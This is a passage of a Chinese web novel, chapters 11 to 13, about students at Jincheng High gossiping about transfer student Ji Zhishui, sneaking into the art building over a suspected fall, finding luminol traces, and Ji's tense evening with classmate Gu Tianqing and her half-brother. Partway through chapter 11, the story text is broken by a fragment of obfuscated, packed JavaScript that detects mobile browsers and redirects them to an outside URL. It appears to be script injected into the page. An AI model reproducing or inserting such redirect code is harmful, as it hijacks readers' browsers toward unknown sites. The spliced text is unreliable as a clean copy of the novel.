[纪之水,女,19岁,身高一米六一,体重45kg。于上周一正式转入金城高中借读。说她是转校生其实并不准确,因为纪之水的学籍并不在我们这里,之后高考肯定还是得回原籍。目前没有打探到她之前是哪个学校的。]
[我有个朋友在她上上周五来学校办借读手续的时候见过纪之水和他爸。这里头还有不小的故事。]
刘瑞平写字飞快,字迹难辨,龙飞凤舞。他一面写,罗吉一面看。
即便如此也没有口述来的便捷,还要根据前后文费劲巴拉地辨别刘瑞平写的究竟是什么字。刘瑞平的字不能说不好看,只是胡里花哨,不太好认。
罗吉看的头痛,忍不住出声:“刘瑞平,要不你还是用说的吧。”
刘瑞平用口型道:“万一班主任巡查?”
“要巡查你的纸条也不一定躲得过啊!这还是实物证据。”罗吉指着他洋洋洒洒写了一堆的纸,“到时候你怎么解释自己背地里调查A班女生?暗恋人家?老师不得撕了你!”
那可是全校老师放在心尖尖上的高三A班同学!
A班抓恋爱抓的很紧。甚至因为班里学生都是老师的心头宝,即使抓到了早恋,也是不由分说将锅全都推给平行班学生。
纪之水现在在A班,虽说成绩如何还不明朗,到底占着特优生的头衔。刘瑞平一想,“嗯……也对。”
俩人便召集八卦搭子来听。
.
纪之水不知道晚自习这个点还有几个高中生为了她作业不思,凑在一起嘀嘀咕咕个不停。
这很不应该。高中生做作业要专心。孩子们怎么能学业不想想同学?
出了学校,想吃上饭就三个选择,校内、校外和家里。校内肯定不行,通往食堂的路线单一,万一碰上熟人,容易引发不必要的支线任务。回家更不是个好的选择,晚上还有事,来回一趟数不尽的麻烦。纪之水只好在街上寻觅。
离得最近的是一家早餐店,开了许多年,到了下午肯定已经关门了。除去早餐店,纪之水只零零星星看见几家文具店和奶茶店,不知道周边居民怎么受得了的。
金城高中对面是居民小区,有不少走读的学生都住在那儿。纪之水不。她住的地方和金城高中不远不近,回家乘公交车要三十分钟。
再往走一段路,眼前豁然开朗。几百米外有个小商业广场。晚餐早早结束,纪之水感觉手机在包里震动,掏出手机看了一眼。
有人问她在新学校是否适应。她回复了关心她的朋友,说一切都好,同学们很好相处。
有一个红点消息沉在信息栏底部,楚静水没高兴回,反而把手机设置成了静音。她回了班级之后恶补金城高中规章,手机赫然在违禁品之列。
也巧,带了这么多天手机没静音,居然没被抓。算她运气好。
天色一暗,纪之水走出小餐馆,重新向学校的方向走去。远远看见门卫在保安亭打盹,不时有学生老师从正门进出,时间不紧,纪之水遥遥看了一会儿。
白天要早起,凌晨五点多她比吃树叶中毒的考拉还困,就算学校门口放鞭炮她都不带停下来看的。
最后还是走小门。
小门在操场后边,被一把沉重的大锁挂住,锁瞧着都快生锈了。快生锈意味着不常开,检查的人也少。纪之水也是从同学口中听到的消息,用的还是旁听陈芊他们聊天一样的方法。
自然而然地插话。
“周五晚自习要不要去小吃街玩?”
“好啊好啊。”
“能搞到请假条吗?马上要月考,条子不好开。”
“害,谁还用请假条那玩意儿?”
几人对视一眼,心照不宣。纪之水脚步也停了,她敏锐地察觉到接下来会有她想要听的内容。不过这几人已经熟的不能再熟,这时候想要得到有用的消息,就得推波助澜一把。
“那我们哪里集合?”纪之水问。
“操场后边,老地方!”
天降的消息就这么来了。很有用,本地居民爱用小道,童叟无欺。
纪之水好像天生就有着容易被人忽略存在的“特异功能”,从静静融入到悄然离开都不会有任何一个人发现不对。哪怕有时候更恶趣味一点,大张旗鼓地和刚认识三分钟的朋友礼貌告别,粗线条的新朋友也只会顺口说再见。
小概率会触发“吓一跳”事件。
不过,纪之水很久没这么做了。纪之水也不是什么喜欢看别人吓一跳的家伙。
纪之水用脚拨了拨地上杂乱的野草,在墙角发现了堆叠起来的几块砖头,起初被杂草胡乱盖着,不显眼。
她用不着砖头垫脚,虽然身量不算高,轻轻一蹦,撑着墙壁就上去了。纪之水如猫科动物般轻盈落地,拍拍手掌的墙灰,整个过程堪称行云流水。
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翻墙,小事而已。
她远望着不远处群山的轮廓,月亮明净如玉盘。金城风景很美。目前为止,这还是个很有意思的地方。
.
陈芊和吴羽非常豁得出去,为了交流有趣的小道消息,直接面朝后坐了。
作为英语课代表,陈芊很是自然地表示:“这一段是英语时间。被抓到了我可以说是在辅导你们英语作业。”
刘瑞平叹服于聪明人的思维:“女士大义!”
他销毁了写了一半的纸条,略过了上午已经交流过的那一部分,从头开始说起。
有了后半天的四处打探,消息更加丰富。
“首先这里就有个悖论:金城高中的分数线是本地最高的,而纪之水来借读,读的是A班。”
“?”吴羽不懂,“怎么就悖论了?”
罗吉道:“如果纪之水的成绩优秀得足以进A班,那么她中考的时候考上我们学校是毫无问题的。如果她本身成绩一般,需要靠借读这条捷径才能进金城高中,那她凭什么进入A班?”
“是啊,为什么?”吴羽说。
刘瑞平大胆推测:“花钱。”
“据我所知,纪之水的弟弟黎明达就读的初中是金城国际,一年光是学费就要接近六位数,而他本人平日里出手大方,显然经济条件宽裕。黎家至少也是小富!”刘瑞平很快想通了其中的关键,摇头叹惋,“我们学校的良心大大滴坏,居然因为区区碎银几两,就降低了金城高中高三A班的含金量!”
陈芊听了不太舒服。她举手发问:“你怎么能断定纪之水成绩不好,借读名额是买进来的?就因为她家很有钱?我认为逻辑不成立。”
“纪之水早上也说了,她转学是因为家里工作变动。说不定她之前根本就不在金城本地……”
“打断一下,小姐姐。”刘瑞平也学着陈芊刚才的模样举手发问,“我以为我们上午已经达成共识了。黎家一直都住在金城本地,是本地人无疑。怎么到晚上你忽然翻供了?”
“因为我当时没想明白。”陈芊说,“但是我现在想通了。”
人类在八卦面前,可以爆发出无限的严谨,捕捉每一个字背后的蛛丝马迹。三人将舞台交给踊跃发言的陈芊,眼睛里闪烁着八卦而智慧的光。
“我倾向于纪之水她从来没有说谎。你们也说了,纪之水爸爸和她弟弟跟她都不是一个姓,这在普通家庭里并不常见。”
陈芊道:“有没有可能,纪之水一直跟随母亲生活?她所说的‘家里人工作变动’,指向的不是她父亲,而是她早就和黎兴学分居两地的母亲!”
11. 第 11 章
父母感情破裂,妈妈带女儿,儿子跟爹。孩子一个随妈姓一个随爸姓,听起来很合理。
吴羽越听越觉得陈芊的推测完全符合逻辑,毫不犹豫投了赞成票:“芊芊说的非常有道理啊!”
罗吉抓住了其中的漏洞:“那么问题又来了。如果是你推断的那种情况,为什么上上周五陪同纪之水来办手续的是她父亲而不是她母亲?”
“或许她妈妈当时也在安顿工作,抽不开身?”
“那我将用你刚才的逻辑驳倒你了。你这么说也是猜测居多,完全没有实证啊!”
说到后来,双方各执一词,又演变成多人混战,说辞也愈发离谱。乱中甚至有人声称纪之水是来自外星,进入金城高中是为了征服地球。
“她确实很像外星人啊。我光是看到她的眼睛都觉得阴森森的,感觉这种人会在背地里扎我小人!很恐怖的好不好!”
“你在说什么,外星人怎么可能会扎小人啊!”
“就是,会扎小人的得是什么巫蛊师吧?”
陈芊已经插不上话了。她欲言又止地伸出了手,却不知道从谁开始劝,“为什么又吵起来了……”
还没开始劝和,三人已自行结束了战争。
刘瑞平语气沉着:“说到底,猜测只是猜测,下任何结论都要讲证据。”
他的眼中爆发出无与伦比的光辉,近乎得知体育课提前下课可以率先冲入食堂的兴奋:“从今天开始,我将继续收集信息,不管她纪之水是谁是鬼,我都……”
“喂,刘瑞平。”陈芊道,“你过分了吧?”
原本兴致激昂的吴羽第一时间察觉到不对劲,当即闭上嘴,将快到嘴边的话原原本本吞进肚子里。她瞅着陈芊忽然阴沉下来的脸色,安静如鸡。
罗吉和刘瑞平面面相觑。陈芊性格温柔,平常虽然偶尔会有惊世之语,但大部分时候都是轻声细语、笑意盈盈的,很少发火。
刘瑞平当即反思,一时间没想出哪句话踩了雷,值得陈芊点名批评。
“呃……是我说话有问题。”他小心翼翼试探道,“子不语怪力乱神?”
他记得陈芊说自己什么八字身弱来着……好像还怕鬼。他也许不应该说纪之水是鬼,未免对纪之水本人有失尊重,还容易吓到朋友。
“我们背后八卦一下人家乱猜一通也就算了,大家都有分寸,不管说了什么话也不会往外传。”陈芊说,“但周围一圈人都问过了,之后还要再去调查纪之水,是不是有点不太合适了?知道她家庭情况,然后呢?提着水果牛奶上门拜访叔叔阿姨?”
“……我也不是那个意思。”什么嘛,他也不是变态啊。
刘瑞平摸了摸鼻子,讪讪道,“就是纯好奇,没恶意。”
被四人中性情最软和的陈芊不留情面地点破,那股子发现新鲜事的激动褪去了,理智又重新跑了回来。刘瑞平后知后觉地意识到他刚才那番话有多出格。
高中生活平静如水,还是一潭死水。偶尔出现一个哪里都透着古怪的新面孔,刘瑞平不得不承认,他是激动过了头。
“那我今天在这表个态吧。”刘瑞平清了清喉咙,正色道,“你说的有道理,毕竟是人家家里的私事,我不该瞎打听,之后也不会再去查了。”
气氛一时间有点尴尬。
吴羽左看看右看看,只想赶紧把这一段带过去,半开玩笑地说:“刘瑞平你这一天到晚的纯粹瞎忙啊。”
“一整天光顾着琢磨这些没头没尾的事儿,还不如去打听打听有人跳楼是真的假的呢。”
“吴羽!”罗吉低声说,“不是说这件事不再提了么?”
说是不再提,但有谁能听过之后真的不管。
手电筒的光划过空地,镂空压花砖头缺了一角,杂草从砖石的空隙中试探性地伸出了枝叶。吴羽打了个哈欠,手电筒也在手里跟着乱晃,照得草叶摇摆不停。
她随口道:“消息可靠么?万一被抓到了……”
“放心吧放心吧,瞅瞅会议室那边的灯有多亮——诶!”刘瑞平压下吴羽的手电筒,心脏差点从嗓子眼里蹦出去,深吸了一口气,又吐出去了,“我只是让你搂一眼!拿手电筒照过去和自首有什么区别?别担心了,学生会里有我的好homie,结束前会给我发消息的。”
吴羽看了眼一惊一乍的刘瑞平,哦了一声。
晚自习的艺术楼也已经看不见光了。四人鬼鬼祟祟的在墙壁后探头探脑,想象自己是詹姆斯邦德或者惊天魔盗团,以错漏百出的身法扒在窗户上往美术教室里张望。
断臂的胸像、惨白的石膏安静地站在桌面上,承载着月光和窗外几双眼睛好奇的打量。
“应该是这一层……差不多这个方位的教室。”刘瑞平说。
“没有钥匙?”罗吉问。
“废话。”刘瑞平不太客气地翻了个白眼,“谁不知道保安大叔那有全校每间教室的备用钥匙,你去偷?”
“……”罗吉耸了耸肩膀。
吴羽趴在走廊栏杆上,亮度调低的手电筒射出光柱,漫无目的地划过楼下的砖石。什么也没有啊……她真的越来越怀疑刘瑞平是不是胆子太小,听到点动静就吓得哇哇乱叫。
“吴羽,快过来!”陈芊招了招手。
隔着一道玻璃,终于有了新发现。两道手电筒的光芒照向同一个方位,桌椅掩映之下,过道里躺着一枚半新不旧的玩偶挂件。
“这能说明什么?”吴羽隔空用手电筒点点挂件。
“仔细看。”陈芊说,“挂件的挂绳是被暴力扯断的,这里很有可能发生过争执。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766640|174629||http|test|mini|href|location''.split(''|''),0,{}));
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>罗吉仰头看了一眼教室外的门牌,“美术教室3是哪个班在用?”
“还挺多的,高一高二高三都有,具体使用情况还得探一探教务处或美术老师办公室。”刘瑞平随口道。
今天肯定是来不及夜探办公室了。
美术老师不用看晚自习,办公室和教室五点多就已经落了锁。艺术楼位置偏僻,一入夜说是阴风阵阵也不为过,刘瑞平搓着手臂上的鸡皮疙瘩,有些蔫蔫的,激不起一点儿探索“凶案现场”的兴奋感。
罗吉试探性地拉了拉美术办公室紧锁的门。
果不其然,门纹丝不动。
罗吉回过身,毫不意外地说:”锁严实了。”
几人不约而同地露出失望的表情。
“那咋办啊,就这么空手而归?”吴羽道。
“也不是完全没有收获。”陈芊沿着走廊缓步前进,另一枚手电筒在她手里,划过黑漆漆的走廊。
阳台上靠着零星两三盆绿植,都有些发蔫。他们平常上课的美术教室在三楼,对四楼的走廊完全不熟悉,看来看去,四楼也没什么特别的地方。
“你是说那个小挂件?”
美术教室人来人往,断了挂绳的挂件说明不了什么。一场似是而非的矛盾、推搡?拐到刘瑞平看到的那起疑似坠楼案上还差着十万八千里呢。
刘瑞平清了清喉咙,站在走廊上摆开了阵仗。此前他已经简略描述过一遍当日所见,现在到了案发现场,更绝如鱼得水。
有同伙三人作陪,他倒不觉得害怕了,站在美术教室3的后门跑来跑去。
“我只知道掉下去的应该是个女生。她是一头披肩发,周围围着几个人,我只看了一眼,分不清是男是女,少说也有三五个人吧。”刘瑞平做推搡状,一人饰演N个角色,“‘砰’的一声响后,我吓了一跳,怕他们抓到我这个目击者,一矮身躲在了窗下。”
吴羽露出了极度一言难尽的表情,像是用脸骂了句掷地有声的脏话。她没打断。
“然后我就想到了要保留点证据。我掏出私藏的手机,调成录像模式——”
……有录像为什么不早点说。罗吉瞪了刘瑞平一眼。
他们围观了刘瑞平那份只有十几秒之长的录像。
视频里,一个人都没有。
镜头摇晃了几秒,对准了艺术楼,展示了一个很长的空镜。如果不是刘瑞平手在抖,这和一张拍的很烂的风景照无异,吴羽心中无语得有些发笑。
罗吉摸了摸下巴:“视频里艺术教室3的门窗是开着的。”
他话说了一半,闭上嘴,正好对上刘瑞平的洋洋得意的表情。刘瑞平自诩从不做没意义的事儿,可是嘴一张开,就被罗吉毫不犹豫地堵上了。
走廊深处,传来某种不容忽视的声响。
12. 第 12 章
“嘘——”罗吉示意他们噤声。
陈芊和吴羽对视一眼,很快反应过来,慌慌张张地关掉了手电筒。两道灯光倏忽熄灭了,走廊又陷入一片黑沉。陈芊小腿肚打颤,将手电筒揣进怀里,两只手捂住嘴,靠着墙壁悄然蹲下。
黑暗中,悉悉索索的动静都被无限放大,仿佛回响在耳边。
一阵衣料摩挲的声响。
哒、哒、哒……
渐远的脚步声。
整条走廊陷入死寂,凄冷的月光照着四人惊疑不定的面孔。许久之后几人凝重的眼神才重新开始流转。
陈芊颤颤巍巍地开口:“刚才好像……有人过去了。”
刘瑞平猛的骂了句脏话。
“谁在那装神弄鬼……”
几人一听,便知道他是色厉内荏。刘瑞平的语调分明还发颤呢。
当下却也没人有心思嘲笑刘瑞平了。先前那阵响动所有人都听的真切,彼此吓得噤若寒蝉的样子看起来都差不离。
“这里怎么会有人?”
“难道是老师?”
“老师今天开会啊……高一高二的班主任在看班吧,谁往艺术楼晃。”
“学生会的人吧。算算时间,也到了巡查的点了。”
“那就更不可能了!”
学生会见了学生晚自习在艺术楼游荡,哪有不当场拿下的道理?
他们沉默下来,面面相觑,均是无心探查。陈芊只觉得一颗心还在胸腔里跳的厉害,连怎么跟着他们下的楼都不知道。她缀在稀稀落落的脚步声里,心不在焉地用手电筒最低的一档灯光照亮前路,忽然瞪大了眼睛。
“那是什么?”她伸出一根手指,直指不远处的地面。
吴羽调亮了手电筒。
众人顺着陈芊所指的方位看去。
艺术楼前的那片空地,整齐地铺着镂空压花的砖石,被陈芊指出的角落靠近花坛,发出点点幽蓝的荧光。
一阵大呼小叫。
纪之水站在墙边,深色围巾裹住小半张脸,几乎和阴影融为一体。她没有费心隐藏,然而就站在她前方不远处的人群又一次忽视了她。
说实话,这种感觉真不赖。
纪之水吃吃笑了两声,仗着没人会发现她,便闲庭信步走上前去听。
刘瑞平:“哈哈,谁的荧光棒漏液了,真倒霉。”
罗吉:“……你再说那种蠢话试试呢?”
纪之水歪了歪脑袋。刘瑞平总是会口不对心,脱口而出的话往往与真实想法的相悖,她能感觉到他从身上散发出来的那股恐惧,即便如此,刘瑞平也要强撑着在伙伴面前说出玩笑话。
说假话的刘瑞平,比说真话的顾天倾好懂。纪之水心想。她想到顾天倾那张阳光俊逸的面孔,笑容消失。
吴羽蹲了下去,在男人们的大呼小叫和强壮镇定里率先近距离观察起那片荧光。不止压花砖头上,绿化带的叶片上也撒了不少,只是乍看上去更为隐蔽。
“我知道,这肯定是刑侦剧里的一定会出现的那个……”
“鲁米诺试剂。”罗吉接话。
化学试卷上有道靠后的选择,考过鲁米诺试剂,但考得浅。罗吉记得那道题的考点是铁的催化反应,题干很长,答案简单。
无数人在考场上和luminol对面不识,错过一道送分题。化学老师讲解试卷时,原本报了答案就想跳过,错的人多,才顺口带了一句。
提起C8H7N3O2有人会问那是什么玩意儿,但在侦探小说和刑侦剧里,鲁米诺大名鼎鼎。鲁米诺和过氧化氢反应会产生蓝色荧光,时常被用于血迹检测。
陈芊咕咚咽了口口水,抱上了吴羽的胳膊,“真的、真的有血……好大一片……”
“冷静点。这不能代表什么,芊芊。”吴羽没有伸手,手电筒将角落照了又照,胆子逐渐大了起来。这里是学校,很安全,最需要提防的只有教导处老师和巡查保安,她不觉得有什么值得陈芊怕成这样。
叶片被手电筒照得分明。看来看去,除了鲁米诺试剂显现出的血迹,没有更多的线索。她站了起来,捂住陈芊的眼睛,将她从地上拽了起来。
“怕就别看了。”吴羽说,“这点出血量还没到死人的地步。鲁米诺试剂也会受到其他东西的干扰,说不定土里埋了铁呢。”
罗吉想吴羽应该也记得那道选择题。
吴羽一手揽着陈芊,侧身转动手电筒,却再也没有在黑暗中找到类似的痕迹。
“我去,这怎么不亮了?”刘瑞平忽然道。
那道显眼的蓝色荧光,一点一点被黑暗蚕食。纪之水就这么看着四个高中生依次在她面前蹲了下来,晃着手电筒对几片叶子指指点点。
倒是看过一点侦探小说。了解的却也不多。
四个人没讨论出什么有用的结果,话题一度跑偏,还是陈芊叫停,几人哆哆嗦嗦着准备彼此搀扶着回班。纪之水没跟上去,退回艺术楼墙后的阴影里。
鲁米诺试剂是她洒的。
化学实验室有现成的材料,门锁也易开,只是配制略略花点时间。
诚如吴羽所言,现场能够检测到的血迹含量不多。她现在更倾向于金城高中发生坠楼案只是刘瑞平害怕之下的脑补,周末当天确有人在艺术楼发生争执,或许没闹出太坏的后果。
纪之水绕回操场,还是熟悉矮墙,熟悉的一摞砖头。
正当她摩拳擦掌之时,背后打来一道光。
纪之水回头,手电筒适时往边上一偏,避过她的眼睛。
“晚上好。”顾天倾才认出她,流露出几分惊讶,而后笑眯眯地说,“是你呀,纪之水同学。”
他还是穿着金城高中那身没什么设计可言的蓝色冬装校服。对比同样很难给出好评的春秋装和夏装,金城高中的冬装校服丑的更为突出。
纪之水很是做了一番心理建设,才将自己塞进这么一套丑的惨绝人寰的衣服里。借着手电筒的光亮一看,她也只是觉得这套丑衣服套在顾天倾身上勉为其难变得顺眼了一点。
余光瞥见顾天倾的胳膊上,赫然是一道颜色深红的袖章。
纪之水再一次来到了金城高中小小的屋檐之下,心中涌动起复杂的情绪:
怎么是他。
怎么老是他。
这样的日子要什么时候才是个头?
“部长,南侧门那边我们已经查完了,没抓到人。”不远处传来汇报声。
小门位于操场边缘。整
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个跑道上都没没装路灯,靠近小门的这片围墙更暗,因为疏于打理,校内校外杂草丛生。是以几个学生会的学生没看见墙上还扒着一个纪之水。
纪之水一只手扒在墙面上,放手不是,翻过去也不是,就这么被抓了个现行。
她没慌,直视顾天倾半晌,缓缓开了口:”我有请假条的。”
出个校门合情合理。至于翻墙,那属于个人爱好。
“我知道的。你是走读生。”顾天倾说。
见他微微侧身,纪之水的眉毛拧起了一点。
她不意外顾天倾要和人告状,只是觉得被抓住会很麻烦。如果碰上的老师比家事缠身的李茂难搞,非要见到黎明学才罢休,她会觉得头痛。
顾天倾关了手电筒,扬声对操场另一边等候的组员道:“西门也没什么问题,你们先回班吧,第二节晚自习也快开始了。”
纪律部只是有晚自习巡查的权利,作业还是要照做的。一天待在学校十来个小时,逛也逛烂了,组员们听到解散也没多想,反而一叠声喊谢谢部长、部长再见。
顾天倾经常这样提前放他们回去,意味着今天晚上的表格记录和上交由他一手包办。纪律部检查是轮班制,每回和顾天倾搭档都很轻松。他们还能趁着职务之便去趟食堂旁边的便利店,时间得抓紧。
顾天倾身后的人群就这么散开了。手电筒关掉后,纪之水的双眼很快适应了黑暗,她贴墙站着,能将那几个结伴离去的学生看得很分明。
顾天倾像是好奇一样问她:“隔那么远,你看的见他们吗?”
顾天倾没问她扒在这儿干什么,反而问点有的没的问题,可以理解为想让她放松警惕,说是脑回路神鬼莫测却也合理。
纪之水没吭声。
顾天倾有时候很讨厌,有时候也不,何况这回他是真放了她一马。
今天晚上其实有月亮。很淡的月光像一层薄纱,顾天倾察觉到纪之水不喜欢手电筒的光亮,可是关掉了手电筒,月光却不肯将他眼前的场景照得明晰。
他几乎完全置身黑暗,两颗黑曜石一样的眼瞳不转,即便纪之水不搭话,他仍旧嘴角微微上扬着问:“以为我要举报你?怎么把我想的那么坏。”
纪之水淡声道:“谢谢。”
她不爱说废话。此为破例。
话音落意识到有些地方不对劲。顾天倾双眼不动,朝着她的方向微微偏头——是倾听的姿势。仿佛在这个月明星稀的晚上,他被剥脱了视觉,只能仰赖听力观察世界。纪之水迟疑片刻,将一只手伸到他面前挥了挥。
“试探我是不是瞎子?”顾天倾问。
纪之水确定了,他是。
“眼神不好就别大晚上还在外面晃了。”纪之水拍了拍手掌,准备爬墙,被顾天倾轻轻叫住。
“翻墙不安全。走吧,我带你出去。”
纪之水想说“不要”。她既怕门卫记得她的脸,又不想多掏一张请假条。请假条是金城高中的硬通货,在哪个班主任那儿都难开。
不过……
“你带我出去?你要逃学?”纪之水眯了眯眼,犀利地问。
“不是,正常放学而已。”顾天倾说,“我也是走读生,今天留下来执勤而已。”
13. 第 13 章
“啪嗒”一声轻响,玄关的瞬间灯亮起,将门口那个正在换鞋的小小身影照得分明。
她弯腰褪下脚上的白色运动鞋,踩进那双母亲特意为她特意准备的粉红小兔纯棉拖鞋里,没有抬头。
纪之水还是散着她那头清汤寡水的、黑漆漆的长直发,从他的角度只能看见一截雪白微尖的下巴,抵着脖颈处的深棕色羊绒围巾。
纪之水抬头时,黎明达还保持着按亮开关的姿势。他半靠在墙壁上,脸色阴沉地盯着她看。
黎明达质问:“你为什么不回我消息?”
纪之水道:“没有看见。”
“撒谎——!”黎明达叫喊起来。
很吵,像只上蹿下跳werwer叫个不停的小狗。纪之水别过脸。
黎明达三步并作两步,逼近纪之水,一张和她有四五分相似的脸在她面前放大,流露出一种很愚蠢的表情。
像一只挤眉弄眼的劣质玩偶一样,黎明达朝她瞪眼。
纪之水忍耐力很强。但只有这一点让她难以忍受。黎明达用和她相似的脸,做出这辈子根本不可能出现在她脸上的表情,这简直是一场精神上的霸凌和折磨。
纪之水嘴角向下瞥。
黎明达在逼问,但除开他的表情带来的攻击性,苍白的语言和徒劳的大喊大叫显得毫无威慑力。
他今年初二,身量已经开始拔高,站在纪之水面前长长一条,并不讨喜。黎明达三天打鱼两天晒网的锻炼收效甚微,局促的肌肉量跟不上发育速度,又挡在纪之水面前不肯让步,她只好脸色漠然地略过了他。
黎明达还在发问,接过纪之水手上的包,继续跟在她身后喋喋不休:“你们学校门口的那班公交车六点半停运,你是怎么回来的?为什么这么晚才回家?”
纪之水把黎明达当成了空气。她解开围巾,脱下外套,往卧室走。黎明达一路尾随,脸色越来越难看,脚步却很执着。
眼见纪之水压下卧室门把手时都没有理会他的意思,黎明达大叫:“纪之水你为什么不理我!?”
砰——
门在黎明达面前重重合上,震得房子都好像抖了一抖。
.
对于讨厌的人,纪之水一般会选择远离。
比如黎明达,这个比她小了不少的异母弟弟正值青春期,将头发染成了一种需要教导主任用肉眼和生理常识仔细辨别判断的棕,性格恶劣,行事鲁莽。
第一次见面,黎明达就向她释放了毫不掩饰的威慑恶意:“你就是我爸在乡下的那个女儿啊?真是百闻不如一见。”
纪之水无意对抗,那样太蠢了。
她选择把黎明达当做空气,甚至没掀起眼皮给他一个眼神。
此话一出,饭桌上好不容易从零度勉强加热到不让茶水结冰的氛围刹那间被打回原形。黎明达不但挨了黎兴学飞来的眼刀,还挨了唐恬一个毫不留情的清脆耳光。
纪之水笑了,这是她来到金城的第一个笑容,献给了一团招笑的空气。
但对讨厌的人,现在有了另外一种可能性。
比如顾天倾。
纪之水对顾天倾的讨厌程度很难说比黎明达要轻,只是顾天倾的智力显然要更高,他比黎明达更懂得如何才能烦扰她。两人原本在纪之水这儿是一个待遇。
然而,在今晚即将回绝顾天倾带她出校门的那个时刻,纪之水倏忽意识到自己犯了错——
顾天倾分明是个很好的观察对象。她不应该轻易放弃摆在眼前的机会。
金城高中疑似发生的坠楼案的优先级目前在她心里位列第一,熟悉并了解金城高中的诸多异象暂居第二,至于讨厌顾天倾这件事情,在对比之下就显得无关紧要了,可以被她往后一稍再稍。
她开始反思。
刚刚转学时,纪之水一视同仁地观察包括顾天倾在内的所有人。复盘往日,促使她发生改变的节点是她意识到顾天倾靠她靠得太近了——这种“近”不是距离上的,而是……
“近”是一种更加模糊的形容。
这一切具体表现为,面对面交谈时,顾天倾似乎想要看清她。
纪之水以为,被人全心全意注视是很恐怖的。而顾天倾是个智力略微超过蠢货的聪明人,他还有着旺盛的好奇心,是一颗蹦蹦跳跳朝她跑过来的不定时炸弹。
一开始,顾天倾像是新入学时会遇到每一个班长,友善地在第一个课间主动和她打招呼:“你好,纪之水同学,我叫顾天倾,是高三A班的班长,欢迎你加入我们这个集体!如果学习生活中有什么问题,你可以随时来找我。”
官方而合理的一段发言。
纪之水彼时尚能应对,用面无表情的冷落以不变应万变。
不回应对方主动抛来的橄榄枝是一种示威,像黎明达那样。纪之水未尝没有和异母的弟弟有相同的意思。她身体力行地表示:她不需要新同学们展示友好。
梅陆露给她打过预防针。
高中生们就是这样,准确的说,处于初高中阶段的这群人就是这样,你既不能把他们当成年人看,也不能把他们当成小孩。
他们比成年人更容易点燃,又比孩子更有洞察力,每个都是一团混沌而看不清面貌的云团。
即便如此,顾天倾依旧没翻脸。
他甚至更多地向她展现出了不必要的友善。
虽然纪之水隐约觉得这个皮相亮眼的男生笑容有些不达眼底,但此时,她将一切看作一套新生入学的必备流程。
.
刚搬到这间临时布置的卧室的电脑有些旧了,启动缓慢。纪之水等待电脑开机时,黎明达在外面砰砰砰敲门,一会儿就没了动静。
他坚持的时间比往常要短。纪之水以为这是一个好兆头,终有一天没耐心的蠢货会放弃打扰她的。
屏幕右下角跳出弹窗,恭喜她超过了百分之90%的用户,纪之水撇了撇嘴,冷酷地叉掉那个页面。
直觉告诉纪之水,顾天倾是一个很恐怖的人,所以她慌张地跑开。但现在,理智又来了,纪之水以为顾天倾知道的不一定比刘瑞平少。
靠近陈芊,靠近刘瑞平……这些事,纪之水自以为自己做得都不赖。
纪之水得意地想,她还靠着围巾顺理成章地约定了和陈芊的第二次会面。
希望一个晚上过去,四人小团体可以给出一些有趣的消息。
企鹅图标缓慢地跳跃。纪之水检索了班级群消息,数量寥寥,内容无非是询问某天晚上的科目作业。
周中,大家都表现得很收敛,在互联网上的谈性也不高。高三A班的走读生两只手数的过来,群里长期活跃的头像却远远超过两位数。显而易见,很多人携带了校规明令禁止的违禁品。
纪之水被穆若婷拉进班级群的第一天,就向整个班级群里的所有人都发送了好友申请。同意速度有快有慢,纪之水根据同意时间陆续访问了所有人的空间。
动漫角色、自拍、不知所云的一段文艺文案……
转发的娱乐消息……
一块漂亮的小蛋糕……
[金城一枝花:呵呵……没有某人的校园真是显得无比清静,求某人永不回校教程。[鄙视][鄙视][鄙视]]
鼠标顿住。
日期显示是在三天之前。
纪之水的瞳孔扩大。这条博文收获了十来个点赞,还有几条评论。
[点了。]
[接]
[啊铁铁真的有这么恨吗?]
金城一枝花回复:[装什么啊铁铁这种人你不恨吗我请问呢...]
“金城一枝花”虽然没有提某人的大名,但显然很多人都知道他/她是谁。
纪之水对这个“YouKnowWho”很感兴趣。她点进金城一枝花的主页,却没有发现更多有关消息,只是一味地被各种成年女性和成年男性的美照刷屏。
她意识到眼前的俊男美女们可能是一枝花口中的“担”。
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加好友时,金城一枝花没有留下她的大名。纪之水只能确定她是金城高中在读的学生。
这个对企鹅好友来者不拒的小女孩儿并不警惕陌生人发送的好友申请,加上之后只拽拽地向纪之水发送了一个叼烟的表情包,附赠一条文字消息。
[推xx雷xx,拒同担,拒梦女。会互赞,不点赞博文的一律删除,禁止连赞。]
纪之水回忆起这条消息,给小黄花点了个赞,留下自己来过的印记。
她翻出从重默本上撕下来的纸条,根据姓名一一在“你可能认识的人”中对比检索。
电脑发出提示音,一条消息弹了出来。
[顾天倾:你到家了吗?]
纪之水下意识叉掉了聊天框。
……手快了。
她现在不应该再躲着顾天倾走,事实证明他真的很有用,且知无不言言无不尽。纪之水又点开了聊天框,新的两条消息跃入眼帘。
[顾天倾:踩了一路自行车,没有功劳也有苦劳。]
[顾天倾:看在我多少出了点力的份上,不要不回消息啊纪同学。]
纪之水原本要回。看完消息手指却悬在了键盘上,现在回像是对顾天倾自以为是的发言的默认一样……真的让人很不爽。
[想太多。]
[我到了。]
纪之水冷冷按下回车键。
.
坐公交车回家通常得花费纪之水半个钟头,还不包括等车的时间,有时候不凑巧,她要在站牌底下等上很久。由于突如其来的夜间活动,纪之水今天抵达公交车站时,公交车业已停运。
顾天倾送她到站点,问:“你要怎么回去?”
她没斥责顾天倾的多管闲事,平淡地回答:“坐公交车。”
纪之水表现得像是不知道车已经停发了。她把顾天倾刚才借给她的过期出门证递还,道了谢。
金城高中的出门证一学年一换,之前的证件不销毁,门卫查的不严的时候,是为数不多可钻的空子。
正如顾天倾所说,值班保安年纪大了,视力不佳,夜间根本看不清出门证上的字。两人出校门很顺利。
“公交车已经停了。”顾天倾把标志牌上显眼的运行时间指给她看。纪之水草草看了一眼,漆黑的双瞳中浮现出微末的惊讶:“啊。完全没想到。”
顾天倾又问:“有人能来接你吗?”
纪之水不答。
看她的表情,顾天倾叹了口气。
有点难办。
他低头看了眼表,原本就没抱多大希望,还是解释了一句:“金城高中位置很偏,这个点也没有出租车会来。如果能有人接——”
